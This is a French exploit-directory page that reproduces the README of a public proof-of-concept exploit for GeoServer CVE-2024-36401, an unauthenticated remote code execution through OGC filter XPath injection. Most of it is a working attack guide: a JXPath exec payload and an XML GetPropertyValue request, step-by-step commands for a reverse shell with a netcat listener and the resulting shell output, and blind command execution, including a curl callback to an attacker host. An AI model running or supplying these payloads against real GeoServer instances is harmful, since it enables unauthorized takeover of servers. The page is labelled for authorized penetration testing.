Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-36401-poc — Exploit RCE non authentifié pour GeoServer (CVE-2024-36401) via injection XPath dans le filtre OGC. Prend en charge le reverse shell et l'exécution de commandes aveugles avec détection automatique de version et sondage des types d'entités. | Kitploit
Outils/GitHubGitHub/delt-a/cve-2024-36401-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et ContrôleRed TeamingOutil d'Accès à Distance
GitHubdelt-a/cve-2024-36401-poc

CVE-2024-36401-poc

Exploit RCE non authentifié pour GeoServer (CVE-2024-36401) via injection XPath dans le filtre OGC. Prend en charge le reverse shell et l'exécution de commandes aveugles avec détection automatique de version et sondage des types d'entités.

Voir le dépôt
13il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-36401 — Injection XPath RCE dans GeoServer via OGC

Python CVE CVSS License

Exploit d'exécution de code à distance non authentifié pour GeoServer via l'injection du paramètre valueReference de filtre OGC (évaluation XPath/JXPath).

Avertissement : Cet outil est destiné uniquement aux tests d'intrusion autorisés et à la recherche en sécurité. Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite. L'auteur décline toute responsabilité en cas d'utilisation abusive ou de dommages causés par cet outil.


Table des matières

  • Vue d'ensemble
  • Versions concernées
  • Détails techniques
  • Prérequis
  • Installation
  • Utilisation
  • Exemples
  • Fonctionnement
  • Dépannage
  • Références

Vue d'ensemble

GeoServer est un serveur Java open source pour le partage de données géospatiales, largement déployé dans les environnements gouvernementaux, d'entreprise et de recherche. CVE-2024-36401 permet à un attaquant non authentifié d'exécuter des commandes système arbitraires sur l'hôte en injectant des expressions Java dans les paramètres de filtre OGC (Open Geospatial Consortium).

La vulnérabilité a été ajoutée au catalogue CISA Known Exploited Vulnerabilities (KEV) en juillet 2024 en raison d'une exploitation active dans la nature.


Versions concernées

BranchePlage vulnérableCorrigé dans
2.23.x< 2.23.62.23.6
2.24.x< 2.24.42.24.4
2.25.x< 2.25.22.25.2

Les versions de GeoServer antérieures à 2.23.0 sont également probablement concernées mais sont en fin de vie et non testées.


Détails techniques

GeoServer utilise la bibliothèque GeoTools pour évaluer les expressions de filtre OGC. Le paramètre valueReference (ainsi que d'autres comme CQL_FILTER) est passé à JXPathContext.selectNodes() d'Apache Commons JXPath sans désinfection.

JXPath permet d'appeler des méthodes Java arbitraires via des expressions comme :

exec(java.lang.Runtime.getRuntime(), 'id')

Cette évaluation a lieu avant la vérification de l'authentification pour certains points d'accès, rendant la vulnérabilité totalement non authentifiée.

Points d'accès vulnérables :

  • POST /geoserver/wfs — requête GetPropertyValue avec valueReference
  • GET /geoserver/ows — même paramètre via la chaîne de requête

Note technique importante : L'expression valueReference doit utiliser des guillemets simples (') autour de la chaîne de commande. Les guillemets doubles (") provoquent des échecs d'analyse XML et empêchent l'exécution — un écueil courant dans d'autres PoC publics.


Prérequis

  • Python 3.9+
  • Bibliothèque requests
  • Cible exécutant une version vulnérable de GeoServer avec au moins un type d'entité WFS disponible (les espaces de travail de données d'exemple par défaut sf, topp, tiger sont suffisants)

Installation

git clone https://github.com/Delt-A/CVE-2024-36401-poc
cd CVE-2024-36401-poc
pip3 install requests

Ou installez les dépendances directement :

pip3 install requests

Utilisation

usage: exploit_CVE-2024-36401.py [-h] -t TARGET [-l LHOST] [-p LPORT]
                                  [-c CMD] [-f FEATURE]

options :
  -h, --help            affiche ce message d'aide et quitte
  -t, --target TARGET   URL cible, ex. http://<TARGET>:8080
  -l, --lhost LHOST     Votre adresse IP pour le callback du reverse shell
  -p, --lport LPORT     Port d'écoute (défaut : 4444)
  -c, --cmd CMD         Commande unique à exécuter (aucun retour)
  -f, --feature FEATURE Surcharge du type d'entité (détection automatique si omis)

Modes

ModeOptionsDescription
Reverse shell-l LHOST -p LPORTReverse shell en deux étapes via bash
Exécution de commande-c CMDExécute une commande unique (aveugle — pas de sortie)
Surcharge du type d'entité-f FEATUREIgnore la détection automatique, utilise le type spécifié

Exemples

1. Reverse shell (recommandé)

Démarrez d'abord un écouteur :

nc -lvnp 4444

Puis lancez l'exploit :

python3 exploit_CVE-2024-36401.py \
  -t http://<TARGET>:8080 \
  -l <LHOST> \
  -p 4444

Sortie attendue :

   _______    ________    ___   ____ ___  __ __       _____ _____ __ __  ____
  / ____/ |  / / ____/   |__ \ / __ \__ \/ // /      |__  // ___// // / / __ \
 / /    | | / / __/________/ // / / /_/ / // /_______ /_ </ __ \/ // /_/ / / /
/ /___  | |/ / /__/_____/ __// /_/ / __/__  __/_____/__/ / /_/ /__  __/ /_/ /
\____/  |___/_____/    /____/\____/____/ /_/       /____/\____/  /_/  \____/
   ___
  <  /
  / /
 / /
/_/

  GeoServer OGC XPath Injection RCE  |  CVE-2024-36401
  Non authentifié  |  CVSS 9.8  |  Affecte < 2.25.2 / 2.24.4 / 2.23.6

[*] Cible : http://<TARGET>:8080

[+] GeoServer détecté — version : 2.24.2
[+] La version 2.24.2 est VULNÉRABLE
[*] Sondage des types d'entités...
[+] Type d'entité : sf:archsites

[*] Type d'entité : sf:archsites
[*] Écouteur      : <LHOST>:4444
[*] Démarrage     : nc -lvnp 4444

[*] Étape 1 — écriture de /tmp/rs.sh sur la cible...
[+] Payload délivré via sf:archsites
[*] Étape 2 — exécution → <LHOST>:4444
[+] Terminé — vérifiez votre écouteur

Sur l'écouteur :

Connection received on <TARGET> 43210
bash: cannot set terminal process group: Inappropriate ioctl for device
bash: no job control in this shell
geoserver@target:~$

2. Exécution de commande (aveugle)

Exécutez une commande sans recevoir de sortie. Utile pour une vérification hors bande ou le dépôt de fichiers :

# Vérifier l'exécution via la création d'un fichier
python3 exploit_CVE-2024-36401.py \
  -t http://<TARGET>:8080 \
  -c "touch /tmp/pwned"

# Déclencher un callback curl pour confirmer l'exécution
python3 exploit_CVE-2024-36401.py \
  -t http://<TARGET>:8080 \
  -c "curl http://<LHOST>:8000/pwned"

Remarque : Les commandes contenant des métacaractères du shell (>, |, &, ;) sont automatiquement encodées en base64 pour éviter des problèmes d'analyse.


3. Spécifier manuellement le type d'entité

Si la détection automatique échoue, fournissez un type d'entité connu de la cible :

python3 exploit_CVE-2024-36401.py \
  -t http://<TARGET>:8080 \
  -l <LHOST> \
  -p 4444 \
  -f topp:states

Types d'entités courants inclus avec les données d'exemple de GeoServer :

Espace de travailType d'entité
sfsf:archsites, sf:bugsites, sf:roads, sf:streams
topptopp:states, topp:tasmania_cities, topp:tasmania_roads
tigertiger:giant_polygon, tiger:poi, tiger:tiger_roads
citecite:Buildings

Fonctionnement

L'exploit envoie une requête WFS GetPropertyValue avec une expression valueReference malveillante :

<wfs:GetPropertyValue service='WFS' version='2.0.0'
  xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>
    exec(java.lang.Runtime.getRuntime(),'COMMAND')
  </wfs:valueReference>
</wfs:GetPropertyValue>

Pour le reverse shell, une approche en deux étapes est utilisée pour éviter les problèmes avec les métacaractères du shell à l'intérieur de l'argument chaîne unique de exec() :

Télécharger l’outil